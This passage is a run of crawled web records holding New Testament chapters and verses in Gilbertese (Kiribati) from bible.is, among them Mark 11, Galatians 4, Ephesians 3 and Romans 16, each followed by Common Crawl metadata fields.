wakaana. 21E oki ana ururing Betero, ao e taku nakon Iesu, \"Te Tia Reirei, te kai are te biku are Ko taetae ni kamaraiaa, e a mate!\" 22E kaekaia Iesu ao E taku, \"Kam na onimakina te Atua. 23E koaua ae I tuangngkami b'a ane kangai nakon te maunga aei, Ko na tabekaki nako, ao b'aka i tari, ao e aki nanokokoraki i nanona ma e onimaki b'a e na koro bukin are e taekinna, ao e na boni karaoaki i bukina. 24Ma ngaia ae I taku nako imi b'a te b'ai ane kam bubuti n ami tataro, ao kam na onimaki b'a e na reke i roumi, ao e na bon reke. 25Ao ngkana kam tei n tataro, ao kab'ara buren are titiku i nanomi are e a tia n riki b'a ekakinakoan temanna iai i roumi, b'a E aonga Tamami are i karawa ni kab'arai ami bure aika kam a tia ni karaoi. 26Ma ngkana kam aki kab'arai buure, ao E na aki kab'arai ami bure Tamami are i karawa.\" 27A manga roko i Ierutarem. Ngke E nakonako Iesu i nanon te um'antabu, ao a nako Ina ibonga ake mataniwi ma taani koroboki ma unimm'aane, 28ao a taku nako Ina, \"Te m'aaka ra ae Ko karaoi iai baikai? Ke antai ae anganiko te m'aaka aei b'a Ko na karaoi baikai?\" 29E kaekaia Iesu ao E taku, \"N na titirakiningkami! Kam na kaekaa, ao Ngai N na tuangngkami b'a te m'aaka ra ae I karaoi iai baikai. 30Mai karawa ana b'abetito Ioane ke mairouia aomata? 31A kauntaeka i rouia ao a taku, \"Ngkana ti kangai, Mai karawa, ao ane E na kangai, E aera b'a kam aki onimakinna? 32Ma ngkana ti kangai, Mairouia aomata, ao a makuia aomata, b'a a taku b'a Ioane bon te burabeti ni koaua.\" 33Ma ngaia are a taku nako Ina, \"Ti aki ataia.\" E taku Iesu nako ia, \"I aki kona naba n tuangngkami b'a te m'aaka ra ae I karaoi iai baikai.\"\nCopyright","id":"","dump":"CC-MAIN-2016-40","url":"http:\/\/www.bible.is\/GILBSP\/Mark\/11","date":"2016-09-26T06:16:00Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2016-40\/segments\/1474738660706.30\/warc\/CC-MAIN-20160924173740-00125-ip-10-143-35-109.ec2.internal.warc.gz","language":"gil","language_score":1.0000098944,"language_script":"Latn","minhash_cluster_size":9,"top_langs":"{\"gil_Latn_score\": 1.0000098943710327}","num_words":920,"character_repetition_ratio":0.052,"word_repetition_ratio":0.002,"special_characters_ratio":0.264,"stopwords_ratio":0.418,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Ma ngaia ae ngkae E a tia ni maraki Kristo n rab'atana ao kam na tauraoi naba ni b'aina te nano ae ti te arona ma nanona; b'a ane e a tia ni maraki n rab'atana ao e a tia n aki tau-taekanaki maiuna n te bure. 2B'a kam na aki kabane ami bongi ni maiu n rab'atami n iri nanoni iango n aomata aika naano ni kaib'ab'aru, ma kam na ira nanon te Atua. 3Kam riai n aki manga karaoi baika kam karaoi ngkoa ngke kam iri nanoia aomata ake tiaki Kristian, ni maiu ni kaitataan ma ni kaib'ab'aru, ma ni manging, ma ni bobotaki ni manging ni kukurei ni kammaira, ma n iri taromauriani bouananti aika taromauri aika bati n ribaki. 4A mimi ngkai kam aki raoniia n aroia ni kabatia te maiu-buaka n aron are a kakaraoia; ao a taetaebuakaingkami. 5Ane a na taekin aroia nakon Teuare tauraoi ni motiki taekaia akana maiu ma akana mate. 6B'a anne bukin ae taekinaki naba te euangkerio nakoia akana mate, b'a a aonga ni motiki taekaia n ai aroia aomata aika maiu n rab'ataia, ao b'a a aonga ni maiu ni maiuia n tamnei n ai aron te Atua. 7E a kaan tokini b'aai ni kabane, ma ngaia ae kam na nanowanawana ma n tatauraoi n tataro. 8Ma e a moamoa i aoni b'aai ni kabane b'a kam na kabatia te i-tangitangiri; b'a e rabuni buure aika rangi ni bati te tangira. 9Kam na i akoakoi n aki b'angantaeka. 10Ngkai kam anganaki b'aai n tituaraoi n tatabemaningkami nako, ao kam na kamanenai i bukin temanna ma temanna, n ai aroia touati aika raraoi n ana b'ai n akoi aika kakaokoro te Atua: 11ngkana e taetae temanna, ao e na taetae n atong ana taeka te Atua; ngkana e akoa te aba temanna, ao e na karaoi n ai aron te konaa ae E anganna te Atua; b'a E aonga n neboaki te Atua ni b'aai ni kabane i bukin Iesu Kristo, are ana b'ai te neboaki ma te tautaeka n aki toki. Amen. 12Ngkami aika kam tangiraki, kam na tai mimi n te b'ainikirinaki ae korakora ae kam taonaki iai ma ni kataaki iai, b'a aongkoa te b'ai ni kamimii ae riki nakoimi; 13ma ngkai kam buokanib'ai ni marakini Kristo, ao kam na kim'areirei; b'a aonga ni kabatiaki ami kim'areirei ngkana e kaotaki arona ni mimitong. 14Ngkana kam tataebuakaki i bukin arani Kristo, ao kam a kab'aia; b'a E mena iroumi te Tamnei ae kamimii arona, ae Tamnein te Atua. 15Ngkana e maraki temanna i buakomi, ao e na tai atongaki iai b'a te tia tiritiri, ke te tia ira, ke te tia karaoa ae buakaka, ke te tia kanrabakauakin aia b'ai aomata tabem'aang n te aro ae aki riai. 16Ma ngkana e maraki temanna ngkai te Kristian, ao e na aki mamaa, ma e na neboa te Atua ngkai e ingoana arani Kristo. 17B'a e a roko te tai ae na moanaki iai te motiki-taeka mairouia ana aomata te Atua; ao ngkana e moanaki mai roura, ao e na tera mwina nakoia akana aki ira nanon ana euangkerio te Atua? 18N ai aron are atongaki ni kaangai n te B'aib'ara: \"E na kangaanga kamaiuan te aomata ae raoiroi; Ao tera ae na riki nakon te aomata ae te tia bure ae buakaka?\" 19Ma ngaia aei, b'a akana maraki, ngkai bon nanon te Atua i bukiia, ao a na mwiokoi maiuia n aroia ni karaoa ae e raoiroi iroun te Tia Karikiia ae kakaonimaki.\nCopyright","id":"","dump":"CC-MAIN-2016-40","url":"http:\/\/www.bible.is\/GILBSP\/1Pet\/4","date":"2016-09-26T21:49:26Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2016-40\/segments\/1474738660887.60\/warc\/CC-MAIN-20160924173740-00017-ip-10-143-35-109.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":11,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":585,"character_repetition_ratio":0.047,"word_repetition_ratio":0.0,"special_characters_ratio":0.238,"stopwords_ratio":0.426,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Ma I kan taekinna naba b'a i nanon ana tai n ataei te nati are na b'aib'ai i mwin tamana, ao e aki kakaokoro ma te toro, e boni ngae ngke ngaia ae na b'aini b'aai ni kabane. 2Ma e mena i aaia te koraki aika tararuaia ma n tau mwin ana b'ai ni karokoa te tai are e a tia ni baireia tamana. 3Ao ai arora naba, ngke ataei ngaira, ao ti toronaki ni baika iai m'akaia n te aonnaba aei. 4Ma ngke e a koro raoi taina, ao te Atua E kanakoa Natina. E bungiaki iroun te aine, ao E mena i aan te Tua, 5b'a E aonga ni kainaomataia aika mena i aan te Tua, b'a ti aonga n riki b'a natin te Atua. 6Ao ngkai naati ngkami, ao te Atua E kanakoa Tamnein Natina nako nanora, are E tataro ni kaangai, \"Aaba, Tamara.\" 7Ma ngaia ae ko a aki manga riki b'a te toro ngkoe, ma ai te nati; ao ngkana te nati, ao te tia b'aib'ai naba iroun te Atua. 8Ma kam aki ata te Atua ngkekei, ao kam toro irouia baika iai m'akaia aika tiaki atua; 9ma ngkai kam a ata te Atua, ke ngkai kam a ataaki iroun te Atua, ao kam kanga ni manga rairaki nakoni baike iai m'akaia ake a mamara ma n akea bonganaia, ake kam kani manga moana aromi n toronaki iai? 10Kam kawakini boong, ma taian nam'akaina, ma tain nako taian toa, ma ririki. 11I maaku iroumi, b'a e kaawa ni matebuaka au m'akuri i bukimi. 12Taari, I butingkami b'a kam na riki n arou, ngkai I riki naba n aromi. Akea te bae e buakaka ae kam a tia ni karaoia nako iu; 13ma kam ataia b'a I taekina te euangkerio nakoimi n te moa n tai, b'a kioina ngke e mamara rab'atau. 14E riki mamarau b'a te kangaanga nakoimi, ma kam aki kaota ae kam kakeaa bongana ke kam ribaia; ma kam m'aneai n akoai b'a kanga ai aron ana anera te Atua ngai, ao b'a kanga ai aroni Kristo Iesu. 15E nga ngkoa kukureimi? I boni koaua b'a kam na kaman tia n auti kanoani matami n anganai, ngke arona b'a kam kona. 16I a riki ngkai b'a ami kairiribai ngkai I taekina te koaua nakoimi? 17A tauaninne aomata akanne iroumi, ma tiaki n te aro ae e raoiroi; ma a kani kaokoroingkami, 18b'a kam aonga n tauaninne i rouia. E raoiroi te tauaninne n taai nako n te bae e raoiroi, ao tiaki ti ngkana I mena iroumi. 19Natiu aika uarereke, ai aron te aine ngai n ana tai ni bung, ae I ngirangira ni maraki i bukimi ni karokoa ae kam riki b'a taan ira Kristo ngkami. 20Tera ngke I mena iroumi ngkai, b'a I aonga n ae I bita teini b'anaau; b'a I aki ata te bae N na karaoia nakoimi. 21Kam na tuangai, ngkami aika kam kani mena i aan te Tua, kam aki ataia b'a tera ae e taekinna te Tua 22B'a e kaangai, b'a uoman natin Aberaam aika mm'aane, temanna natina ma te aine ae te toro, ao temanna ma te aine ae te inaomata. 23Teuare natin te aine are te toro e bungiaki n aroni bungiakiia aomata; ma teuare natin te aine are te inaomata e riki b'a kakoroan nanon te taeka n akoi. 24Taetae ni kabotau baikai, b'a a boraraoi aika uoua nakekei: neiere bungiia natina b'a te toro bon Nei Aka, ao e tei i bukin te boraraoi are karaoaki n te maunga are Tinai. 25Aka bon te maunga are Tinai i Arabia, ao bon te banna ni kabotau naba i bukin Ierutarem ae ngkai, n arona n toronaki ma kaaina ni kabaneia. 26Ma te Ierutarem are i Karawa e inaomata, ao bon tinara. 27B'a e koreaki ae kaangai: \"Ko na kukurei ngkoe ae ko kanoabo ae ko tuai ni bung; Ko na takarua ni kim'areirei ngkoe ae ko tuai n ariri; B'a a bati riki natin te aine ae tiku n ti ngaia nakoni m'aitiia natin neiere iai buna.\" 28Taari, natin te taeka n akoi ngaira, n ai aron Itaaka. 29Ma n aron are ngkekei, ngke e b'ainikirinaki teuare bungiaki n aron nanon te Tamnei iroun teuare bungiaki n aron bungiakiia aomata, ao ai bon arona naba ngkai. 30Ma e kanga te B'aib'ara? Kanakoa te toro te aine ma natina; b'a e na bon aki b'aib'ai natin te aine are te toro ma natin te aine are te inaomata. 31Ma ngaia aei, taari, tiaki ngaira natin te aine are te toro, ma bon natin te aine are te inaomata.\nCopyright","id":"","dump":"CC-MAIN-2016-40","url":"http:\/\/www.bible.is\/GILBSP\/Gal\/4","date":"2016-09-25T23:11:13Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2016-40\/segments\/1474738660436.26\/warc\/CC-MAIN-20160924173740-00070-ip-10-143-35-109.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":11,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":765,"character_repetition_ratio":0.061,"word_repetition_ratio":0.0,"special_characters_ratio":0.253,"stopwords_ratio":0.382,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"28B'a te Tua e rineia aomata aika a aki kororaoi n aroia b'a ibonga aika kakannato; ma te taeka n akoi are karaoaki ma te taeka ni bau are roko rimwi i mwin te Tua, e rinea te Nati b'a te ibonga ae kororaoi n arona n aki toki.\nEBERA 7:28\nFREE!\nOne App.\n1210 Languages.","id":"","dump":"CC-MAIN-2016-40","url":"http:\/\/www.bible.is\/GILBSP\/Heb\/7\/28","date":"2016-09-29T23:02:38Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2016-40\/segments\/1474738661953.95\/warc\/CC-MAIN-20160924173741-00115-ip-10-143-35-109.ec2.internal.warc.gz","language":"gil","language_score":1.0000098944,"language_script":"Latn","minhash_cluster_size":9,"top_langs":"{\"gil_Latn_score\": 1.0000098943710327}","num_words":54,"character_repetition_ratio":0.085,"word_repetition_ratio":0.0,"special_characters_ratio":0.276,"stopwords_ratio":0.444,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Ma ngaia ae ngai ae B'auro, ae ana aomata Kristo Iesu ae kabureaki i bukimi ngkami aika tiaki I-Iutaia, 2tao kam a bon tia n ongo b'a E a tia te Atua n ana akoi n anganai te nakoa aei i bukimi; 3b'a e kaotaki nako iu te baere raba n te kaotioti, n ai aron are I a tia ni korea taekana ni kauarerekea nakoimi; 4b'a ngkana kam wareki, ao kam kona iai n ata au atatai n ana b'ai ae raba Iesu, 5are aki kaotaki nakoia natiia aomata n rooro ake ngkoangkoa, n ai arona ngkae e kaotaki ngkai iroun te Tamnei nakoia ana tia tuatua aika tabu ma ana burabeti aika tabu naba; 6te kaantaninga n te baere raba aei: b'a a na raoniia Iteraera ni b'aib'ai aomata aika tiaki I-Iutaia, ma n riki b'a te rab'ata ae ti teuana ma ngaiia, ao b'a a na reke tib'angaia n te taeka n akoi ngkai a reitaki ma Kristo Iesu n te euangkerio; 7are I riki b'a te tia m'akuri ngkai iai, n ai aron te b'ai n tituaraoi are ana akoi te Atua, are I anganaki ni m'am'akurini m'aakana. 8I anganaki, ngai ae moan te mangori i buakoia ake a itiaki ni kabaneia, te m'akuri ae kakawaki aei, ae te tataekina nakoia aomata aika tiaki I-Iutaia taekan aroni Kristo aika kamimii, aika kangaanga aroia ni kuneaki, 9ao te kaota nakoia aomata ni kabaneia aroni m'akurian te baere raba, are karabaki ma ngkoangkoa iroun te Atua are kariki b'aai ni kabane; 10b'a e aonga ni kaotaki n te ekaretia rabakaun te Atua ae a bati arona nakoia uea ma ake a korakora i karawa, 11n ai aron nanona ma ngkoangkoa are E kakoroa irouni Kristo Iesu are ara UEA. 12Ngkai ti reitaki ma Kristo, ao ngkai ti onimakinna, ao ti ninikoria ni kawara te Atua ma te aki nanokokoraki. 13Ma ngaia ae I bubuti b'a a na tai b'ara nanomi n rawaawatau i bukimi, b'a bon i bukini kamoamoaami. 14I bukin aei ao I katorobubua nakon Tamara, 15are a reke mai Rouna araia utu ni kabane ake i karawa ma ake i aon te aba; ao I tataro 16b'a E na anganingkami mani kaub'ain arona aika kamimii, te m'aaka iroun Tamneina b'a kam aonga ni kakorakoraki n nanomi; 17b'a E na maeka Kristo i nanomi i bukin ami onimaki, ao b'a a na iai wakaami ma aami n te tangira, 18b'a e aonga n iai iroumi ma ake a itiaki ni kabaneia te kona n ata rababan, ma anaun, ma nanon, ma rietan ana tangira Kristo, 19b'a e aonga naba n iai iroumi te kona n ata tangirami irouni Kristo, are e aki konaaki n ataaki raoi arona, b'a a aonga ni kaonaki maiumi n anuan te Atua ni kabane. 20Ao nakon Teuare kona ni karaoi b'aai aika moan te bati aika m'aiti riki nakoni b'aai aika ti bubuti ma n ururing, n ai aron te m'aaka ae m'am'akuri i nanora: 21ana b'ai te neboaki n te ekaretia ao irouni Kristo Iesu man te rorona nakon te rorona ao n aki totoki. Amen.\nCopyright","id":"","dump":"CC-MAIN-2016-40","url":"http:\/\/www.bible.is\/GILBSP\/Eph\/3","date":"2016-09-29T16:25:27Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2016-40\/segments\/1474738661900.67\/warc\/CC-MAIN-20160924173741-00286-ip-10-143-35-109.ec2.internal.warc.gz","language":"gil","language_score":1.0000098944,"language_script":"Latn","minhash_cluster_size":12,"top_langs":"{\"gil_Latn_score\": 1.0000098943710327}","num_words":516,"character_repetition_ratio":0.059,"word_repetition_ratio":0.0,"special_characters_ratio":0.242,"stopwords_ratio":0.419,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1I bon riai ni kamoamoaai, e ngae ngkana akea te bae na reke iai; ma N na taekini baika kanga ai aron te mii ma baika kaotaki iroun te UEA. 2I ata te aomata ae onimakina Kristo ae uotaki rake nakon te katenua ni karawa, tengauni ma a ririki n nako. E uotaki rake ngke tao e mena n rab'atana, I aki ataia; ke ngke tao e aki, I aki ataia naba; ma E ataia te Atua. 3Ao I ata te aomata anne, ngke tao e mena i nanon rab'atana, ke ngke tao e aki, I aki ataia, ma E ataia te Atua. 4B'a e uotaki rake nako B'aretaiti, ao e ongo taeka aika aki konaki n taekinaki, aika aki riai b'a a na atongaki iroun te aomata. 5N na tei i bukin te aomata anne ni kamoamoaa, ma N aki tei i buku ni kamoamoaai, ma ti i bukini mamarau. 6B'a ngkana tao I kani kamoamoaai, ao I aki baba iai, b'a te bae N na taekinna bon te koaua. Ma I aki karaoia b'a e kawa n raka aron iangoau iroun te aomata i aon are e noria i rou ao are e ongo mai rou. 7Ao i bukini kaotioti aika kamimii aroia ake I nori. Ma ngaia aei, i bukina b'a I kawa n rangi ni kamoamoaai, ao I a anganaki te bae e maraki iai rab'atau, are e m'akuri b'a ana anera Tatan i bukin oreau ao tukau b'a N na aki rangi ni kamoamoa. 8Tenua au tai ni butiia te UEA i bukin te baei b'a e na nako mai rou. 9Ao E kangai nako iu, \"E tau i bukim au akoi, b'a e oti aroni m'akau b'a e korakora n te mamara.\" Ma ngaia ae moan te kukurei ngai ni kamoamoaai ni mamarau, b'a e aonga ni memena m'aakani Kristo i aou. 10Ma ngaia ae I kukurei n taiani mamara, ma taetae n iowawa, ma kainano, ma b'ainikirinaki, ma kanganga i bukini Kristo; b'a ngkana I mamara, ao I a korakora iai. 11I a tia n riki ni baba. Ao kam karika aei nako iu. I bon riai ni kamoamoaki i roumi. B'a I bon aki mangori riki nakoia taan tuatua ake kam atongiia b'a akea n ai aroia, e boni ngae ngke akea bonganau. 12A a tia ni karaoaki i buakomi n te aro n taotaonaki n nano ni kabanea taiani kanikina, ma baika kamimii, ma m'akuri aika m'aka, aika e na kinaki iai te tia tuatua. 13B'a tera te bae I a tia ni karaoia nakoia ekaretia nako ae I tuai ni karaoia nako imi? Ma ti aei, b'a I aki karawawataingkami. Kab'ara au bure n te kairua aei. 14Noria, I a tauraoi ngkai ni kawaringkami te katenua n tai, ao N na aki karawawataingkami; b'a I aki ukoukori ami b'ai, ma I ukoukoringkami: b'a e aki riai b'a a na kaiko b'aai naati i bukiia kaaro, ma a na kaiko b'aai kaaro i bukiia naati. 15Ma moan te kukurei ngai b'a N na kabane au b'ai, ma n anga boni ngai, i bukini maiumi. E na karako tangirau i roumi i bukina ngkai I rangi n tangiringkami? 16Ma n arona, I bon aki karawawataingkami; ma a taku tabem'aang b'a i bukin arou ni b'aati n rabakauakina aron te aomata, ao I a tia ni kam'aneingkami iai. 17Iai i buakoia ake I kanakoia nako imi ae I kabonganaia b'a kawaiu ni burebureingkami n anai ami b'ai mai roumi? 18I butiia Tito b'a e na nako imi, ao I kanakoa te tari temanna ma ngaia. E burebureingkami Tito n anai ami b'ai? Tiaki ti te bo aron nanora ni baika ti karaoi? Tiaki ti te bo arora? 19Kam a tia ni kaman iangoia i nanomi b'a ti karekei aonara nako imi. Ti taetae i matan te Atua i nanoni Kristo, b'a a karaoaki b'aai ni kabane i bukini kateimatoami, raou aika kam tangiraki. 20B'a I maaku, b'a I kawa n roko ao I noringkami b'a tiaki aron ae I tangiria, ao ngkami kam norai b'a tiaki naba aron ae kam tangiria; b'a a kawa n noraki i roumi taiani kauntaeka, ma te bakantang, ma un, ma unra i marenaia ami botaki nako, ma taeka ni kamaraki nano ma winanti, ma aaro ni kainikatonga, ma mwebuaka. 21Ao I maaku naba, b'a I kawa ngkana I roko riki ao N na karinanoaki iroun Atuau i matami, ao N na katumaua te tang i bukiia te koraki ake a tia ni bure ao a tuai man rairi nanoia man te kammaira, ma te wene ni bure, ma te tam'are.\nCopyright","id":"","dump":"CC-MAIN-2016-40","url":"http:\/\/www.bible.is\/GILBSP\/2Cor\/12","date":"2016-10-01T19:55:53Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2016-40\/segments\/1474738663202.87\/warc\/CC-MAIN-20160924173743-00293-ip-10-143-35-109.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":10,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":764,"character_repetition_ratio":0.056,"word_repetition_ratio":0.0,"special_characters_ratio":0.254,"stopwords_ratio":0.425,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"5Akea ae na rawa i roumi ni wene n taanga, ma ti ngkana kam a tia ni boraraoi b'a kam na aki karaoia moa i nanon taina are kam baireia, b'a kam aonga ni kabongana ami tai anne n tatataro iai; ma i mwin anne ao kam bon riai ni manga okiri aromi n reitaki b'a taanga ngkami, b'a kam kawa ni kaririaki iroun Tatan ngkai kam babanga n taotaon nanomi.\n1 KORINTO 7:5\nFREE!\nOne App.\n1207 Languages.","id":"","dump":"CC-MAIN-2016-40","url":"http:\/\/www.bible.is\/GILBSP\/1Cor\/7\/5","date":"2016-09-25T02:44:11Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2016-40\/segments\/1474738659753.31\/warc\/CC-MAIN-20160924173739-00161-ip-10-143-35-109.ec2.internal.warc.gz","language":"gil","language_score":1.0000089407,"language_script":"Latn","minhash_cluster_size":12,"top_langs":"{\"gil_Latn_score\": 1.0000089406967163}","num_words":76,"character_repetition_ratio":0.005,"word_repetition_ratio":0.0,"special_characters_ratio":0.253,"stopwords_ratio":0.303,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1I kan taekina nakoimi aron Nei Boibe are m'anera, b'a te aine ae e raoiroi arona. Iai naba nakoana b'a te tia buobuoki n te ekaretia i Kengkirea. 2M'aneia n akoia n aran te UEA, n te aro ae riai irouia ana aomata te Atua; ao kam na buokia n te b'ai ane e kainanoia mai roumi: b'a te tia buokiia aomata aika bati ngaia, ao te tia buokai naba. 3Kam na anga au kamauri nakon Nei Beritika ma teuare Akura, ake raou ni m'akuri i bukini Kristo Iesu, 4ake a kuri ni kabuanib'ai ngke a anga maiuia i buku. I rangi ni kaitau nakoia; ma tiaki ti ngai, b'a a kaitauaki naba irouia ekaretia ake tiaki I-Iutaia kaaina. 5Kam na anga naba au kamauri nakon te ekaretia ake a naanako kaaina ni bobotaki i nanon aia auti. Anga au kamauri nakon Ebaineto are tangiraki i rou, boni ngaia te moan aomata i Atia n onimakina Kristo. 6Anga au kamauri nakon Nei Maria, are karaoi baika bati i bukimi. 7Anga au kamauri nakon Anteroniko ma Nei Iunia, ake au bu, ake a mena ma ngai n te karabuuti; a rangi ni kinaki irouia taan tuatua, ao a onimakina Iesu i m'aiu. 8Anga au kamauri nakon Ambiria, are tangiraki i rou i bukin onimakinan te UEA i rouna. 9Anga au kamauri nakon Urebano, are raora ni m'akuri i bukin te UEA. ao nakon naba Titaku, are tangiraki i rou. 10Anga au kamauri nakon Abere are e kakoauaki raoi teimatoana n onimakina Kristo ngke e kataaki. Anga au kamauri nakon ana utu Arititoburo. 11Anga au kamauri nakon au bu are Erorion. Anga au kamauri nakon ana utu Narekito, ake a onimakina naba te UEA. 12Anga au kamauri nakon Nei Terubaina ma Nei Terubota, ake a m'akuri i bukin te UEA; ao angan naba raoraou are Bereti, are rangi ni m'am'akuri i bukin te UEA. 13Anga au kamauri nakon Rubo are e rangi ni moamoa arona ni m'akuri i bukin te UEA; ao anga naba au kamauri nakon tinana, are e tabeakinai b'a kaanga ai aron natina ngai. 14Anga au kamauri nakon Atungkirito, ma Berekon, ma Ereme, ma Bateroba, ma Erema, ma taari ake a mena i rouia. 15Anga au kamauri nakoni Biroroko, ma Nei Iuria, ma Nerea ao m'anena, ao nakon Nei Orumba, ma ana aomata te Atua ni kabaneia ake a mena i rouia. 16Kam na i kamauri, temanna nakon temanna, n ai aroia taari n inga. A bane ni kamauringkami ana ekaretia Kristo. 17I butingkami, taari, b'a kam na tarataraia te koraki akana eekaanako te reirei are kam reireiaki iai, b'a a karika te i raraaure iai irouia aomata; ao baika a karaoi a riki b'a b'aai ni kab'akab'aka. Kam na kararoaingkami mai rouia! 18B'a a aki toro iroun ara UEA are Kristo aomata aika aroia akanne, ma a m'akuri i bukini birotoia. A bureburei nanoia aomata aika a kai rairaki aia iango n aia taeka aika kareke nano ao n aia taeka ni karang. 19B'a e ataaki aromi n ongeaba nakon te UEA irouia aomata ni kabaneia, ao aei bukin ae I kim'areirei iai i bukimi. Ma I tangiringkami b'a kam na wanawana n ata te bae raoiroi, ao kam na nano roo nakoni karaoan te bae buakaka. 20E a kaani kamanatuan Tatan i aani waemi iroun te Atua, are e reke mai Rouna te raoi. E na mena iroumi ana akoi ara UEA are Iesu Kristo. 21E kamauringkami Timoteo, are raou ni m'akuri; ao a kamauringkami naba au bu aika Roukio, ma Iaton, ma Totibatero. 22I kamauringkami n aran te UEA ngai ae Teretio, ae I korea te reta aei. 23E kamauringkami Kaio ae ngaia ae I mena moa ngkai i rouna; ao a kamauringkami naba kaain te ekaretia aika raou i rouna. E kamauringkami naba Erateto, ae te tia kawakina m'anen te kaawa; ao ai arona naba ma Kuareto ae raora naba n onimaki. 24E na mena iroumi ni kabaneingkami ana akoi ara UEA are Iesu Kristo. Amen. 25Ti na neboa te Atua! B'a E kona ni kateimatoaingkami n te euangkerio are I tataekinna, are rongorongon Iesu Kristo, ao ni kaotiotan te baere raba are karabaki ma ngkoa i nanon rooro ma rooro; 26ma, ngkai, e a tia ni kaotaki, ao e a ataaki irouia botannaomata ni kabaneia ri nanon aia boki burabeti n ai aron are E tua te Atua b'a e na koreaki, b'a a aonga n onimakinna ma n ongeaba i rouna. 27Ao ngkai, i bukin Iesu Kristo, ti a kona n angan te Atua, are ti Ngaia ae rabakau, te neboaki n aki toki. Amen \"E na mena iroumi ana akoi ara UEA are Iesu Kristo.\" Ao B'aib'ara tabeua a kaaki te kibu 25, 26 ao 27 ni kabanean te m'akoro 14; ao te B'aib'ara teuana e kaaki kiibu aikai ni kabanean te m'akoro 15; ao iai B'aib'ara tabeua ake akea i rouia kiibu aikai.\nCopyright","id":"","dump":"CC-MAIN-2016-40","url":"http:\/\/www.bible.is\/GILBSP\/Rom\/16","date":"2016-10-01T05:47:42Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2016-40\/segments\/1474738662527.91\/warc\/CC-MAIN-20160924173742-00027-ip-10-143-35-109.ec2.internal.warc.gz","language":"gil","language_score":1.0000088215,"language_script":"Latn","minhash_cluster_size":9,"top_langs":"{\"gil_Latn_score\": 1.0000088214874268}","num_words":808,"character_repetition_ratio":0.098,"word_repetition_ratio":0.005,"special_characters_ratio":0.238,"stopwords_ratio":0.356,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Kam aki ataia tariu, b'a I taetae nakoia ake a ata te tua-b'a e tautaeka te tua i aon te aomata ni kabanea ana bongi ni maiu? 2N ai aron aei: b'a te aine ae iai buna e kabaeaki n te tua nakoni buna ni kabanea ana bongi ni maiu buna; ma ngkana e mate buna, ao e kainaomataki man te tua are e kabaeaki iai ma buna. 3Ma ngaia aei, b'a ngkana e mare ma te mm'aane temanna, ngkae e maiu buna, ao e na atongaki b'a te aine ae wene ni bure; ma ngkana e mate buna, ao e inaomata man te tua arei, ao tiaki te tia wene ni bure ngaia ngkana e a manga mare ma te mm'aane temanna. 4Ao ai aromi naba, tariu, b'a kam mate naba nakon te Tua ngkai b'ain rab'atani Kristo ngkami; b'a kam aonga n riki b'a ana b'ai Temanna, are Teuare kamaiuaki mai buakoia maate, b'a ti aonga ni bongana iroun te Atua. 5B'a ngke ti maiu n iri nanon rab'atara, ao a m'am'akuri i nanoni b'ain rab'atara naano aika kani kakaraoa te bure, aika naano aika bwebwee rake ngkai iai te Tua; ao a kariki uaa aika ana b'ai te mate. 6Ma ngkai ti a nako mai aan te Tua, ao akea i aora m'aakan te baere ti tauaki iai ngkoa; ma ngaia are ti a aki toronaki n te tua nikawai are koreaki, ma ti a toronaki n te maiu ae boou are mairoun te Tamnei. 7Ao tera ngkanne ae ti na taekinna? Te bure te Tua? Bon tiaki. Ma I aki bure ngke akea te Tua: b'a I aki ata te mataai, ngke e aki kaangai te Tua, \"Ko na tai mataai.\" 8Ma te bure, ngke e reke ana tai, ao e kariki i nanou taiani mataai; ao e karaoa aei ri nanon taekan te Tua. b'a ngke akea te Tua, ao akea te bae e kona ni karaoia te bure. 9I maiu ngkoa ngke akea te Tua; ma ngke e roko ana Taeka te Atua n te Tua, ao e a manga uti te bure, 10ao ngai I mate; ao te Tua are na uota te maiu, ao e uota te mate nako iu. 11B'a te bure, ngke e reke ana tai, ao e burebureai n taekan te Tua, ao e kamateai iai. 12Ma ngaia ae e tabu te Tua, ao e tabu naba ana taeka te Atua are iai, ao e eti ma n raoiroi. 13E kona ngkanne te bae e raoiroi ni karekea ae N na mate iai? E bon aki. Ana m'akuri te bure aei: e karekea ae N na mate iai ni kamanenan te bae e raoiroi, b'a e aonga ni kaotaki arona b'a bon te bure ni koaua; ao tokina e a riki ni buakaka riki arona n ana taeka te Atua are n te Tua. 14Ao ti ataia b'a te Tua boni mairoun te Atua, ma bon te rab'ata ngai, ae kaboaki b'a ana toro te bure. 15B'a I aki atai nanoni baika I karaoi: b'a ae I kani karaoia ao I aki karaoia, ao ae I ribaia ao I karaoia. 16Ma ngkana I karaoa ae I aki kani karaoia, ao I kakoaua iai b'a e raoiroi te Tua. 17Ma tiaki ngai ngkai ae I karaoia, ma e karaoia te bure ae maeka i nanou. 18B'a I ata te raoiroi b'a e aki maeka i nanou, ae i nanon rab'atau; b'a 